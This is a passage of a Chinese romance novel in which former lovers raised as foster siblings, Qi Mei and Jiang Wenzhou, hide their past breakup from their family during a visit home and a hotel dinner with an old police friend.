它真的很聪明,知道那个东西可以让他看见自己,于是他不在家的时候,它除了吃饭睡觉和跑酷,时不时还会凑到那里看看。 感觉也没看多久,就听到一阵敲门声,抬头就见齐眉站在车外。 他把车锁开了,副驾的车门随即被拉来,齐眉弯腰往里看,问道:“方便带年年吗?” 顿了顿,她又解释:“干妈让我把年年也带回去。” 江问舟看一眼挤到她前面,探头来看自己的大狗,嘴角微微一抿,嗯了声,向后座努努下巴。 齐眉松口气,直起腰拽了一下狗绳,拉开后座的车门,示意它:“上去,乖一点哦,坐好。” 车后座传来一阵动静,年年哈气的声音听起来很兴奋,江问舟回头,看见它黑葡萄似的眼睛看着自己,充满了好奇,坐在座椅上一点也不老实,动来动去的。 他便冲它抬了一下下巴,年年像是看懂了他的意思,立刻抬起爪子伸向他。 齐眉坐进车里的时候,正好看到年年扒拉江问舟,吓了一跳,立刻低声吼了它一句:“年年!不许淘气!” 年年一愣,犹犹豫豫地缩回爪子,舌头也收了回去。 江问舟眉头一皱,语气有些不满:“不建议打击式教育孩子。” 齐眉一噎,强行忍住了翻白眼的冲动,抿着唇低头系上安全带。 视线一撇,就看见中控台下的收纳盒里反扣着一个相框,不由得有些好奇,里面装的是谁的照片? 干爸干妈的吧,她暗自猜测,当然,也有另一种可能…… 她突然觉得心里有些酸,立刻忍住了那个念头。 江问舟见她看着相框,眨眨眼,就这么当着她的面,将相框拿过来,塞进了主驾下方左手边的储物盒。 全程都是相框的背面对着她,真是一点都不让她看见照片的影子。 齐眉:“……” 她忍不住努努嘴,侧头朝窗外看去,觉得心里像是被塞了一大口最酸的柠檬。 江问舟淡定地启动车子,很快就开出了小区路口,后座的年年扒上了座椅,兴奋又躁动,齐眉回头用眼神喝止它的动作,看它老实坐回去了,这才回过头。 然后问江问舟:“要回去接金金吗?” 江问舟握住方向盘的手紧了紧,该怎么说呢,他其实……并没有回去接猫的打算…… 但紧接着就听齐眉道:“干妈昨天还说,你怎么不把金金留在家里,工作忙起来根本没时间陪它。” 他忍不住开口反驳:“猫是独居动物。” “我是这么跟干妈说的。”齐眉立刻回答道。 她应得太快,快到让江问舟产生了一种错觉,仿佛回到从前,遇到一件事,他说完自己的想法,她立刻就接一句,我也是这样想的。 那时他总以为这是因为他们精神同步合契,三观一致,所以才会总是对某一件事持同一看法。 但自从知道她其实并没有那么喜欢医学以后,再想起从前,便会忍不住怀疑,她是不是真的这样想,这是她的真实想法,还是为了说给他听的而已? 越想就越觉得疑惑,到底哪个是真的她? 她为什么会以为,他爱上的是她的人设? 可这些问题到了最后,无一例外,都变成了他对自己的怀疑。 他是不是真的这么肤浅,只是喜欢她的皮囊,又或者他从来就没有真的靠近过她。 那些他以为他们灵魂相贴的时刻,其实只是她为他精心打造的镜花水月。 可以毫不夸张的说,齐眉带给他的,不仅仅是初恋美好绚烂如同烟花一般的感情体验,还有他人生中第一次对自我的怀疑。 他从来没有这么不自信过,甚至到了此时此刻,他都还下意识地怀疑:“……是么?” 齐眉一愣,有些疑惑地扭头看向他。 江问舟被她看得回过神来,抿抿唇,装作若无其事地看着前面的路况。 齐眉其实是想跟他说说话的,但不知道为什么,突然又在他身上感受到了一股拒人千里的气息,还有些沉闷,好像不太高兴。 于是她又不好出声了,只低头静静地看手机。 年年这时又探头上来,齐眉发现,立刻扭头冲它嘘了声,摆摆手赶它坐好。 看她这样一副客气局促的模样,江问舟心里更加不高兴了。 在过了红绿灯,路况通畅起来之后,他默默提高车速。 齐眉察觉到了,但因为车速没有到特别快的地步,她就只以为他是赶时间,没好说什么,只抓紧了安全带,有些紧张地靠在车门边。 江问舟是后知后觉地发现她的紧张的,先是一愣,旋即讪讪,又很不好意思地将车速降低下来。 然后清清嗓子问道:“你……年年不晕车吧?” “……啊?”齐眉被他的声音惊得回过神,愣了几秒才反应过来,忙摇摇头,“不晕的,它坐车习惯了。” 江问舟嗯了声:“那就好。” 说话间,车子经过了青年路的路牌。 到底还是改了主意,回来接金金了。 江问舟在小区单元楼门口停车,扭头问她:“进去坐坐吗?” 问的时候甚至没有看她,只低头解安全带,拿手机和钥匙,一副很忙碌的样子。 只有这样才能不让齐眉看清自己的表情。 齐眉犹豫了一下,摇摇头:“……不了吧,改天再……你先回去接金金吧,时间不早了,不好让干妈他们等的。” 理由正当充足,让江问舟根本无法反驳。 他顿了一下,点点头应了声好,推门就下去了。 只是脸孔还板着,齐眉甚至还看到他的眉头是蹙起来的,一时觉得莫名,不知道他这是怎么了。 以前从来没有发现他的情绪会这么阴晴不定,难道是这两年性情大变了?齐眉心里嘀咕,又觉得如果真是这样,自己也很愧疚。 年年这时扒着座椅后背,躁动地朝齐眉哼唧几声,看样子是想出去。 齐眉连忙回过神安抚它:“姐姐马上就来了,我们不出去,一会儿就要走啦。” 边说边揉揉它的头,挠挠它的下巴,很快就把它哄好了。 这时齐眉眼角的余光看到了主驾左边的储物盒,想起那个被江问舟拿走的相框,到底是什么照片呢? 好奇的情绪像年年跟她闹着玩时轻轻咬她脚指头的感觉一样,痒痒的。 要不就……看看?齐眉悄悄伸出手。 手伸到一半又停下来。不行不行,江问舟知道了会生气的,她现在已经不能随便看他的东西了,这是很不礼貌的行为。 可是……她看一眼就放回去了,她不说,年年不会说,谁知道她看过了呢?难道江问舟每天都查行车记录仪? 两道意识在脑内左右互搏,最终还是好奇心占了上风。 她咬咬牙,手刚要伸过去,就听到车门发出一声动静,随即被拉开了。 江问舟弯腰,将金金先递了进去。 齐眉一面可惜自己动作太慢,一面赶紧伸手接过金金。 它被抱在怀里时是乖巧顺从的,一点都不挣扎,也一点都不怕人,社会化做得非常好。 齐眉抱着它不自禁地笑起来,小声跟它说:“金金,我们又见面啦。” 江问舟坐进车里,系安全带,放钥匙和手机,动作慢悠悠的,过了好一会儿才整理好。 扭头对齐眉淡声道:“把它放后面去。” 齐眉抱着猫有些犹豫:“可以吗?会不会和年年打架?” 江问舟神色一动不动,但说话的语气明显相当无语:“你和年年打架它都不会。” 齐眉:“……” 她撇撇嘴,还是把猫往后面一递,金金就自己跳到了后座上,年年高兴坏了,立刻凑头过去闻金金。 金金先是拒绝,用爪子推和拍,还要咬年年,哈了它好几回,但年年都是在很短暂的安分过后,再次欢快热情地凑过去。 齐眉密切关注它们的互动:“……”哇!舔狗就是你吧年?! 但慢慢的,金金累了,懒得理这傻狗了,躺在那儿随便它蹭。 齐眉:“……”我靠!舔狗舔到最后居然应有尽有了? 从青年路到江家现今的住处,开车要两个多小时,这段时间里齐眉和江问舟谁也没有说话。 一个专心开车,一个盯着猫狗的互动看得不亦乐乎。 车子在门口的空地上停下,齐眉先下车摁门铃,孙茂芸出来开门,看见她和旁边的车,不由得一愣。 “诶?你们怎么是一块儿回来的,西西你的车呢?” 齐眉:“???” 16、第十六章 孙茂芸将院子的大门往两边完全推开,让出宽敞的大门,指挥着江问舟把车往院子里刚整理出来的停车位上开。 等江问舟的车开了进门,她一边关门,一边跟齐眉笑道:“我还说给你俩打电话问什么时候回到呢,没想到你们一块儿回来了,不错。” 她夸江问舟:“舟舟还有点哥哥样,知道要去接妹妹。” 齐眉帮着将另一扇门推过来合拢,意识却还停留在孙茂芸说的第一句话。 “你们怎么是一块儿回来的?” 可是江问舟给她打电话的时候,说的明明是,干妈让他顺路接她一起回来。 现在是什么情况?意思是他说谎了,没有这种事? 那他为什么要去接她? 一个男人,出于什么原因,什么心态,会主动去接前女友? 想到这里,齐眉的心里不由得一顿。 “对对对,停那儿就行了,那儿荫凉,过两天你爸去买材料,让人来焊一个顶棚,以后就不会日晒雨淋了。” “哎哟,年年,金金,快来奶奶这儿!” 孙茂芸轻快的声音传进耳中,齐眉回过神来,抬头看见江问舟正关上车门。 年年和金金下车就往院子里跑,孙茂芸立刻拔腿追上去。 他看着他们的背影露出一个笑脸来,那样松弛轻快,似乎心情还不错。 齐眉站在不远处定定地望着他,心里变得烦乱起来。 察觉她的目光,江问舟扭头,脸上的笑没有落下去,柔和的眉眼就这样直通通掉进她的心里。 吧唧一下,印出一个人形来。 江问舟见她愣愣的,看着他的目光充满了疑惑不解,甚至还有些茫然,想到进门前母亲问的那句话,立刻便明白过来。 但那又怎么样。他冲家门口的方向抬抬下巴,率先往前走。 齐眉立刻拔腿跟上,并且越走越快,想要跟上他,问个究竟。 但江问舟明显是故意的,她快他也快,他腿还比她的长,没一会儿就把她甩在了后面。 见她没追上来,又放慢脚步,等她离得近一点了,接着大步一跨。 齐眉:“……”啊啊啊这人有病吧?他以为他是逗猫棒吗还是什么?! 从大门口到主屋门口这段路不长不短,总共也没走几分钟,却走出了齐眉的一肚子气。 总算是在屋门口的花坛边上被她赶上了江问舟,眼看着他就要进屋,齐眉情急之下脱口喊了一声:“江问舟!” 多么熟悉的语气,以前他要是惹她生气了,她就会这么喊他,有一点点凶,但藏着很多委屈。 江问舟心头一颤,像平静的湖面被人投入了石子,丝丝缕缕的涟漪扩散震荡。 有些疼啊,他忍不住皱眉。 回头时却是笑着的,语气有些莫名:“西西,你是这么叫哥哥的?不太礼貌吧?” 齐眉一噎,哽了几秒才找回声音,急急忙忙地问:“你为什么骗我?为什么说是干妈让你去接我的?” 不想让家里人发现他们在争执,她还记得要压低声音,但又怕江问舟听不清楚自己说什么,还往他跟前走了一步。 江问舟看着近在咫尺的人,熟悉的脸熟悉的额头,他曾经吻遍她的每一寸肌肤,吻过她的笑,也吻过她的眼泪。 可是现在…… 他往后退了一步,脚后跟踩上门口的地垫,脸上的笑收了回去,重新变得神色淡淡。 “不能只准你骗我,而我不能骗你,齐眉,做人不要这么双标啊。” 轻轻的语气像是带着一阵狂风,从齐眉的心头席卷而过。 他恨她。齐眉后知后觉,终于意识到这一点。 她浑身的血液在这一刻变凉,渐渐凝固,甚至觉得自己的呼吸也随之变得困难起来。 江问舟说完那句话,转身进了屋,齐眉愣愣地站在门口,脚底像生了根,一点都挪不动。 “西西怎么站在这儿?”背后传来孙茂芸带着点喘息的声音,她哎哟一声,“这家里小孩多也不行,跑起来我是哪个都追不上,你别看年年和金金体格都那么大,跑起来很轻盈诶到处蹿,根本抓不到。” 齐眉回过神,转过头去。 孙茂芸先是冲着远处喊了声:“你们两个快回来了!” 一猫一狗根本不搭理她,金金被年年追得到处跑,她失笑着转头,却看见齐眉有些失魂落魄的模样,吓了一跳。 连忙问道:“西西你这是怎么了,怎么脸色这么白?是不是哪里不舒服?走走走,我给你拿药……” “……不用不用,我、我没事。”齐眉连忙拉住她,摇摇头,眼睑半垂着小声道,“我歇一会儿就没事了。” 孙茂芸握着她的手,摸摸她的手心,又摸摸她的额头,满脸心疼,“是不是上班太累了?一会儿吃完午饭,你早点睡好不好?” 说着又有些自责:“都怪我没想到,值班哪有不累的,上了一天一夜的班,该让你先好好休息的,明天再来见你纪叔叔也来得及。” 齐眉摇摇头,一声不吭,突然伸手一把抱住她,把脸埋在她肩膀上。 “很难受吗?”孙茂芸连忙回抱住她,拍拍她的背。 齐眉摇摇头,半晌才低声问了一句:“干妈,你会……你会一直是我干妈吗?” 孙茂芸先是一愣,旋即好笑,拍着她的背嗔怪道:“我不是你的干妈谁是?你可是我养大的,跟亲生的有什么区别,说句难听的,我就算跟你干爸离婚了,也要把你带走的,除非你不认我了。” “才不可能。”齐眉立刻否认,嘟囔的声音听起来像撒娇。 孙茂芸笑着摸摸她的背,声音温柔地问:“那是怎么了,是不是遇到什么事了,跟干妈说说好不好?” 事是真的有事,但齐眉不敢,也不可能跟她说。 于是她摇摇头不吭声。 孙茂芸换了个说法,问她:“那能不能说说,怎么突然间担心干妈不是干妈啦?” 因为江问舟恨她,当初在一起,江问舟提过好几次等回家了就跟家里坦白他们的关系,他说他已经想好了怎么说服父母,说如果怕被别人议论,大不了把父母都接到申城去,说这事迟早都要说的,伸头一刀缩头也是一刀,早说早解决…… 他说过很多话,其中不乏关于他们的“以后”。 她总是在他的劝说中答应,又在纠结中反悔,他拿她没办法,但仍然耐心地等待和劝说。 但他的长久忍耐没有换来最终想要的结果,而是她的弃城而逃。 换了谁都得疯。齐眉扪心自问,自己是有愧于他的。 所以如果为了不碍他的眼,不刺激他心里的怨怒,她是不是该少点出现在这个家里,那样的话,自己是不是就慢慢失去干爸干妈了? 可她一开始那么纠结,就是怕失去他们啊,难道到头来,不属于自己的东西,终究都是要失去的吗? 齐眉觉得心里难受,又不敢哭出来,只能使劲咬住嘴唇忍着。 孙茂芸发觉她的呼吸变重,连忙拍拍她肩膀,着急地问要不要去医院看看。 齐眉又摇摇头,半晌才咕哝道:“我一会儿就好了。” 至于为什么会这样,她瞎编了一个理由:“听了别人的八卦……呃、肚子有点疼。” 孙茂芸没想太多,笑着摸摸她后脑勺,“是生理期来了,情绪波动比较大?肚子疼,药吃了没有?别觉得会有什么依赖性,那都扯淡,一个月才吃一次能有什么依赖性,疼起来才要命呢。” 齐眉嗯了声,半晌才缓过劲来。 她从孙茂芸肩膀上离开,抬手使劲揉了揉脸,见年年和金金跑累了回来,小猫都累得像小狗那样哈气了,一时忍俊不禁。 孙茂芸见她笑起来时脸色还可以,松了口气,招呼年年:“走了,我们回去喝水了。” 看金金累得舌头都吐出来了,齐眉不准年年再去招惹它,两个大人把一猫一狗隔开,前后进了屋。 进门就听见江问舟的声音:“容医一院的心外科在华南地区当然首屈一指,但比起京大二院或者申医一院,确实还差一点,但我们已经在努力赶上了。” 话音刚落,就听门口处一阵响动,扭头一看,年年和金金又追逐了起来,甚至直接往楼上蹿。 江眀琮看见齐眉,立刻招呼她:“西西快过来,认识一下你纪达叔叔,还有你小纪哥。” 齐眉的视线从跑远的一猫一狗身上转开,便看见客厅里有一对陌生的父子,其中一位头发间有些白丝,肤色古铜,看上去似乎比江眀琮还要老几岁,眼角处有一道让人难以忽略的疤痕。 似乎在父母留下来的照片里,父亲的眼角也有一道类似的疤。 齐眉心里便不由自主地生出一丝亲切来。 等她走近,在江眀琮的示意下,乖巧地喊了声纪叔叔,就听他笑着道:“你长得跟你妈妈很像。” 齐眉有些好奇:“是么?我对我妈妈没什么印象,只是看过她的一点照片。” “眼睛和脸型像,嘴巴应该是像你爸爸。”纪达笑着回答道,又问江眀琮,“你说是吧?” 江眀琮却说:“其实她眼睛也有点像齐天远。” “我又不认识他。”纪达回了一句,有些没好气似的。 齐眉眨眨眼,觉得好像有点怪怪的,这语气听起来……怎么好像有点怨念? 江眀琮笑着嗐一声,对齐眉介绍说:“你纪叔叔以前和你妈妈关系最好,大舅哥嘛,都看不上妹婿的。” “你妈走的时候,他回来看过,但那会儿你还小,认不得人,后来你爸走的时候,他也赶巧负伤,来不了,后来也不方便来了,不过你还记不记得小时候你有一个藏羚羊的玩偶?他给你寄的,还有家里以前一些牦牛肉羊肚菌,也是他给寄的,小时候你和舟舟是不是都有一块昆仑玉的玉牌,你们以为是妈妈给买的,那不是,是你们纪叔叔送的。” 齐眉闻言十分惊讶:“是么?那为什么……” 她想问为什么这么多年没见过面,但话到嘴边又咽了回去。 以前很长一段时间里,她的处境并不十分安全,她的母亲是缉毒牺牲,父亲是打入敌人内部的内应,没人不恨叛徒。 所以为了保护她,江眀琮和孙茂芸他们将齐眉的信息藏得严严实实,也不带她离开容城哪怕一步,直到几年后,她都要中考了,确定她已经完全安全,这才第一次带她回老家祭拜祖父母。 但是是一直到成年后,江眀琮才告诉她以前的事,她才发现自己在干爸干妈家安安全全快快活活过的这些年,其实都是大人们在替她提心吊胆。 就连舅舅陆近成也因为种种原因,不敢登门看她,只是偶尔从江眀琮这儿听说一点她的近况。 你的岁月静好不过是别人在为你负重前行,齐眉对这个说法的感触尤为深刻。 这会儿她便忍不住关切:“纪叔叔负伤……是因为跟我妈妈一样的原因吗?” “虽然不是,但好不到哪儿去。”江眀琮笑着摇摇头,说纪达是一名森林公安,工作的地方在遥远神秘的可可西里自然保护区。 “以前那一带盗猎猖獗,我们抓人的时候被打的。”纪达说得轻描淡写,“打在腰上,没事,躺几天就好了。” 说着指指一旁陪自己来容城看病的儿子纪琏,有些得意:“我这也算后继有人了。” 齐眉还没来得及表示敬佩,就见江眀琮翻了个白眼:“我儿子没上警校又怎么样,你现在要看病还不是只能靠我?” 齐眉:“……”哦哦,原来是这样:) 她抿着唇在一旁笑,过了会儿好奇地问纪达的儿子在哪儿工作,问现在还有没有盗猎分子。 聊得不亦乐乎,倒是将江问舟晾在了一边。 这人从进门就没看过一眼自己,江问舟当然知道她是生气了,但心里却一点愧疚都没有。 甚至还有点诡异的高兴。我真是个变态,他想。 过了没多久孙茂芸通知大家开饭,齐眉便跟着大家一起去饭厅了,江问舟走在她身后,看着她头上的深绿色真丝发圈有些微微出神。 可是具体在想什么,他又说不上来。 吃完饭,孙茂芸让他帮忙收拾桌子,打发齐眉去休息,嘱咐她:“记得吃一片止痛药,知不知道?” 齐眉乖巧地点点头。 江问舟有些疑惑地看向她,她理都没理,扭头就走。 他只好问孙茂芸:“西西她?” “女孩子生理期有点肚子疼,没什么大问题。”孙茂芸回答道。 江问舟闻言目光微微一闪,今天这才几号,这人生理期怎么会提前半个月? 17、第十七章 齐眉当然没有吃止痛药,毕竟她并不是真的生理痛。 但确实是有些困了,她开了空调,直接就爬上床用被子把自己蒙了起来。 睡得有些迷迷糊糊的,梦见以前和江问舟还在一起时的一些事,一会儿是他们一起在图书馆自习,一会儿是江问舟陪她去看音乐剧,一会儿是他们吵架闹别扭…… 醒来以后全都不记得具体内容,怎么想都想不起来,一时不由得有些怅然若失。 可是心情却好得差不多了,甚至还有些摆烂,这也是我家,我凭什么躲着他,他讨厌我,恨我,那就他避开好了! 反正她不走。 只要这么一想,她立刻变得理直气壮,心境也随即开阔平稳起来。 于是本来还因为成功刺激到她而高兴的江问舟,又不高兴了。 他看着齐眉睡醒以后神清气爽的脸,还有脸上柔和舒展的笑意,眼尾弯弯的,眼波流转间有股柔和的灵气,像是会说话。 他曾经在这双灵动的眼睛里看到过诸般情绪和千言万语,那些嗔痴和爱意全都属于他一个人,所以在失去以后,才会觉得格外受不了。 下午三点多,正是吃下午茶的时候,孙茂芸准备了容城特色的几样糕点,江眀琮一边泡茶一边对纪达说:“明天我带你们喝早茶去,正好明天西西和舟舟也休息。” “早就听说容城早茶有名,这次难得来一趟,我肯定要吃够本才回去的。”纪达笑呵呵地道。 接过江眀琮递过来的茶,抿了一口才继续说道:“不过就不用麻烦孩子们啦,年轻人有年轻人的事要做,大好光阴不去做自己的事,耗我们身上可浪费了。” “他们能有什么事啊,西西白天又不上班,舟舟……”孙茂芸说到这里看了眼江问舟,问他,“明天有没有空?不会要去开什么会吧?” 江问舟刚拿果签扎了一块蜜瓜,闻言摇摇头,语气平静缓和:“这个星期难得什么事也没有。” 齐眉闻言实在没忍住,扭头看了他一眼。 好想问问他,您论文写完了吗? 但她忍住了,这种玩笑话不适合现今的她和江问舟。 江问舟察觉她的目光,立刻回看过去,乌黑的瞳仁毫无情绪地凝住她,却激得她背后冒出一大片鸡皮疙瘩。 被这样看着实在压力太大了,齐眉立刻转头,专心用听大人们将话来转移注意力。 纪达这时笑着对孙茂芸说了句:“弟妹怎么只问工作,万一孩子要去谈恋爱呢?” 说完不等孙茂芸回答,就问齐眉和江问舟:“你们俩也不小了,有对象了吧?” 好像只要到了某个年龄段,大人们就爱问这个问题,是不是真心催促另说,问是肯定要问的。 江问舟本来已经收回的视线在听到这句话后,又忍不住往旁边一撇。 恰好落在齐眉的侧脸上,看到她有些不好意思地摇摇头。 江眀琮就接着道:“她才多大,她哥都三十好几了,不也寡佬一条,着什么急啊。” 纪达闻言惊讶地看向江问舟:“舟舟也还没对象么?” 齐眉又一次忍不住扭头,却正好看见他收回目光的那一秒。 接着就听他道:“有过,分了。” 这下就连江眀琮和孙茂芸两口子都来了兴趣,放下茶杯就凑过来问他:“真的啊?什么时候的事,怎么没听你说起过?” 江问舟的眼睛轻轻转了一下,眼尾余光不动声色地瞥了一眼齐眉,见她虽然神色平静,但握着茶杯的手却指关节泛白,忍不住哼地笑了声。 “两三年前,西西……”他顿了顿,放着所有人的面非常刻意地看了齐眉一眼,才继续道,“西西毕业那一年分的,本来要跟家里说,这不是……用不着了么。” 几个大人顿时不约而同地一脸可惜。 孙茂芸说完可惜,又认真地问:“那你们是为什么分手的?是结婚的事没谈拢,还是怎么说?有没有家里的原因,比如……呃、要在申城买房之类?你先说说,我和你爸先提前做做准备。” 江问舟的眼神又歪了一下,瞟向齐眉。 齐眉这时已经转脸看着他,嘴唇轻轻咬着,神情看起来已经不如刚才平静。 她看他目光里,甚至若隐若现地出现了紧张和惶恐。 江问舟心里一涩,喉咙像被一团湿水棉花堵住了一样,那团棉花还不停地往外挤着水,水汽一点点氤氲上他的眼底。 “不关家里的事。”他摇摇头,笑着叹口气,温声安慰孙茂芸,“咱们家是很好的,不信……你问西西。” 齐眉这会儿精神紧绷得像一张拉满的弓,聚精会神地听着江问舟说的每一个字。 他没说一句话,她的心跳就加快一分。 她真是怕极了他会下一秒就不管不顾地嚷出来一句,那个跟我分手的人就是西西啊! 于是一听到他说到自己的名字,她立刻抖了一下,差点要跳起来。 但就在千钧一发之际,她看到了江问舟望过来的目光。 她猛然想起来大二时参加英语演讲,上台之前很紧张,江问舟就直视着她的目光,嘱咐道:“你已经做得很好了,只需要再镇定一点。心乱的人才会出错,一步错就会步步错。” 后来遇到很多比演讲比赛还要令人紧张的时刻,比如第一次抢救病人,第一次遇到死亡病例,第一次独立值班,甚至是第一次……面临职场霸凌。 她都回想起江问舟当时的眼神,和他说过的话。 “心乱的人才会出错。” 这句话在脑海里响起的时候,她立刻便回过神来,乱成一锅粥的心湖又一点一点地平静下来。 虽然还是没能完全恢复平静,但至少在孙茂芸他们的注视下,她可以毫无迟滞地点点头,表示赞同江问舟的话。 江眀琮干了一辈子警察工作,观察能力毋庸置疑,敏锐地从齐眉的表情中看出了一丝不对劲,但具体哪儿不对劲…… 一会儿再问。 他不动声色地转头看向江问舟,神情疑惑:“那你们为什么分手?” 江问舟重重舒出一口气,往沙发背上一靠,双手一摊:“因为她不够信任我,我们之间有一些……分歧,她不相信我能处理好,所以我们发生了矛盾,最后……” 他耸耸肩,没有再说下去。 但大家已经明白他的意思,孙茂芸还说:“那还真是你的问题,肯定是你没做好,没有给够人家女孩子安全感。” 江问舟点点头,没来得及变态以后会改,就听江眀琮忽然冲齐眉问了句:“西西,你之前跟你哥是一个学校一个单位的,他女朋友……你应该认识吧?” 齐眉刚放松下来的呼吸立刻又紧绷起来。 连江问舟的心里都立刻警铃大作,好家伙,他爸是不是发现什么了?! 孙茂芸这时诶了声,也扭头看向齐眉,问道:“对啊,西西你应该认识的吧,快跟我们说说,你哥当时的眼光怎么样?” 齐眉:“……”这是要我自己夸自己? 她张不开这个嘴,在众目睽睽之下不由得面露难色,眉头都皱了起来。 这下好了,谁都知道有古怪了。 她心里急啊,急得后背都要冒汗了,想说不知道,又怕被看出是撒谎,可是说知道,那更没法编了。 最后她只能硬着头皮去看江问舟,内心希望他赶紧出来打圆场。 何况是他先起的头,最后却把难题丢给她,这对吗?! 江问舟当然看得出她的为难和怨念,嘴角抽了一下,语气无奈地道:“你们问她能问出什么来,她都不知道。” 嗯??? 孙茂芸一愣,有些不信:“怎么可能不知道,你不是跟西西一个单位吗?” 我们还住一个房子睡一张床呢,那咋啦? 江问舟在心里吐槽,面上却淡定地摇摇头:“又不是连体婴,怎么可能对对方的事知道得这么仔细,你们上班的时候对同事的事都知道得一清二楚吗?” 那确实没有,可是,“你都不带女朋友和妹妹一起吃顿饭,认识认识的吗?” “还不到时候。”江问舟含糊地应道,“后来就没来得及。” 这话其实漏洞很多,但他一口咬定就是这样,大人也拿他没办法,总不能真的审问吧? 齐眉倒是松了口气,肩膀往下一塌,靠在了沙发扶手上。 江问舟一面应付母亲的盘问,一面抽空乜了她一眼,见她一副逃过一劫之后庆幸又累得半死不活的样子,不由得想翻白眼。 真的,人无语到一定程度真的会笑。 好不容易应付完这件事,时间也到了四点多,孙茂芸说该出发去吃饭了。 “在容城大酒店订了桌,现在出发,到的时候刚好饭点,早点吃,吃完了西西还得去上班。” 纪达就好奇地问:“西西今天值夜班吗?” “她店里。”孙茂芸笑眯眯地解释道,“机场不是上一休二么,业余时间多,她跟老陆家陆阳的对象合伙开了家店,白天是咖啡店,晚上是酒吧,她就负责晚上的营业,有时间就去。” 纪达恍然大悟,笑道:“也好,趁年轻熬得动,是该拼一下。” 又提议说:“要不我们吃完饭,也去支持一下西西?” “爸你不能喝酒!”他儿子纪琏闻言立刻出声阻止。 纪达一噎,辩解道:“我没有说喝,去看看而已,看看又没事。” 纪琏无语:“……你去酒吧不喝酒算哪门子支持人家生意?” 好了,这下不知道怎么狡辩了,他一时噎在那儿没出声儿。 齐眉见状忍住笑,解围道:“我们也有很多无酒精鸡尾酒的,有些是果汁混合,有些是茶和果汁混合,还有苏打水和果汁混合,都可以的。” 有些客人要开车,但不想叫代驾,或者本身不会或不宜喝酒,但陪了要喝酒的人一起来,不喝点什么总觉得格格不入,种种原因,店里的无酒精鸡尾酒销量也还不错。 于是大家都松了口气,纪达对江眀琮笑着感慨道:“咱们是真的老啦,已经到了喝一口酒都要提心吊胆的岁数了。” “可不是么,以前我们假期凑一起喝酒的时候,哪次不是啤酒一打起步。”江眀琮站起身,也叹口气,“现在不行喽,血压不饶人。” “你比我还好了。”纪达失笑,起身和他一道往外走,站在门口看着远处的天,笑着说了句,“太阳快要下山喽。” “明天还会升起,怕什么。”江眀琮笑着应了句,扭头问道,“谁坐我的车啊?” 齐眉刚想说她坐,就听江问舟开口道:“你带妈和纪叔叔吧,西西和小纪哥坐我的车走。” 齐眉一噎,半晌又想起来:“年年和金金怎么办?” “都留在家,晚上我接你回来,不是明早还要一起去吃早茶么。”江问舟淡淡地道。 齐眉还没想到拒绝的理由,孙茂芸已经道:“这样可以,你哥总比年年更能唬人。” 齐眉:“……” 孙茂芸说完立刻上楼去把窗户都关了,嘱咐年年和金金在家不要打架。 齐眉再也拒绝不了,只好努努嘴跟着江问舟走。 不过等到要上车,她立刻主动选择了后座,对纪琏说:“小纪哥坐副驾吧,可以跟舟哥聊聊天。” 舟哥。江问舟听到这个称呼时眉头一挑。 似笑非笑地对纪琏说了句:“她已经很久没这么叫过我了,我差点没反应过来,心说这是谁啊?” 顿了顿,哼的笑了声:“原来是我自己啊。” 这俩人绝对有事,纪琏自己也算是过来人,见状笑笑,没有多嘴说什么。 齐眉嘴角一抽,有些讪讪地拉开车门坐了进去。 刚坐好,就听前面传来一句淡淡的:“副驾驶后面的袋子里有零食。” 她一愣,眼睛眨了眨,内心顿时涌起一点惶恐。 啊这……这不会是叫了声哥才有的福利吧? 18-20 第18章 第十八章(三合一)我的妹妹只能是我…… 容城大酒店应该是容城最老字号的星级酒店了,容城的老人们要请客或者有什么值得庆祝的事,都会去那里。 比如江眀琮和孙茂芸当时过六十大寿,就是一家人在那儿吃的饭。 还有再早一点的齐眉和江问舟考上大学和成人礼,也是在那里招待的亲友。 “不过那会儿因为我的工作,也不好请太多人,下次有机会,把大家都叫到一起好好聚聚。”江眀琮笑着对纪达道。 纪达说好,又感慨:“咱们当年班里四十二个同学,现在还能联系上的,就剩三十一二个了。” 齐眉闻言好奇地看向他们,刚要问为什么,就听纪达主动解释道:“有几个很早就牺牲了,还有两个是癌症,当时我们还给家属捐过款呢。” 他讲得云淡风轻,齐眉听了却忍不住错愕,一时不知道该说什么才好。 江问舟坐在她斜对面,一边烫碗一边抬头看她一眼,忽然说了句:“林晓枫前年年底也走了。” 孙茂芸他们都愣了一下,因为这名字陌生。 正要问他说的是谁,就见齐眉突然手一抖,手边的茶杯应声倒下,茶水立刻顺着桌面肆意蔓延。 “哎哟,这是怎么了?”孙茂芸急急忙忙找纸巾,让她让一下,“小心弄脏衣服,快起来。” 齐眉也回过神,脸上一热,手忙脚乱地帮忙收拾。 服务员拿来干毛巾,又换了一个茶杯,给他们送上一壶新茶,这才算收拾干净。 这时齐眉才有些迫不及待地问江问舟:“林师姐她……怎么了?” “连续加班,心梗。”江问舟淡淡应道,扭头对几位长辈解释,“是我大学同学,当了儿科医生,跟西西认识,她们以前是同一个义诊队的。” 大人们恍然大悟,感慨几句可惜之后,对他说:“身体是革命的本钱,你们还年轻,拼搏可以,但要量力而行。” 可有时候并不是你想休息,想停下来,就可以停下来休息的。 但江问舟不想解释太多,那样听起来像诉苦,便只笑着点点头,应了声好。 倒是齐眉在一阵恍惚之后,才问:“那……她的家里人、孩子怎么办?” “她和爱人还没有孩子。”江问舟回答道。 齐眉一愣:“可是我毕业那年,还在她朋友圈看到说期待新生命,那不是……有了吗?” “你是回来就换了号,所以不清楚后续。”江问舟笑笑,难得有耐心,“她后来胚胎不太好,做了手术,之后因为工作和调养身体,就一直没要,给她调养身体的是国医堂的蔡教授,你以前在那儿看过……痛经的。” 齐眉哦哦两声,不知道该说什么,她发现自己好像真的已经跟过去成功划清了界限。 因为根本不知道那些曾经认识的人现在怎么样了。 江问舟见她神情恍惚,不由得叹口气,轻轻摇摇头。 她不知道的事,还多着呢。 包厢门这时被推开,服务员开始上菜了,容城大酒店有很多个厅,每个厅有各自的主打菜系,孙茂芸这次订的位置,专门吃本地菜。 吃饭的时候大人们聊得热闹,大部分是讲过去的事,中间掺杂一些熟人的近况,名为忆当年。 齐眉作为陪坐的小辈,这种时候通常插不上话,只能埋头吃饭。 只有在他们提到她父母,尤其是母亲肖骊时,她才会停下来仔细听听。 听他们说到肖骊以前的体测成绩比男同学都好,什么都学得很快,当时教官还说她肯定比他们发展得好,更快立功更早升迁。 只可惜天妒英才。 还说到她父亲齐天远,说他上学的时候虽然成绩平平,但为人风趣幽默,又是个热心肠,加上长得帅,所以很受女同学欢迎。 